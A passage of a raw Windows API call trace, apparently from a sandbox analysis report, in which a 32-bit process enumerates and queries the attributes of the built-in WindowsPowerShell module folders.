ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.539] FindClose (in: hFindFile=0x4fe5b8 | out: hFindFile=0x4fe5b8) returned 1 [0116.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0116.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0116.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0116.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0116.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0116.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0116.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0116.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0116.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0116.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0116.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0116.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0116.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0116.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0116.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0116.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.599] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0116.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.599] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0116.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0116.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.600] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0116.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0116.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.600] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.601] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0116.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.601] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0116.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0116.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.601] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0116.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.602] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0116.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0116.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.602] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0116.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0116.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.602] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0116.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0116.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.603] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0116.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0116.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.603] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0116.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0116.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0116.604] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0116.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0116.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0116.604] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe5b8 [0116.604] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: 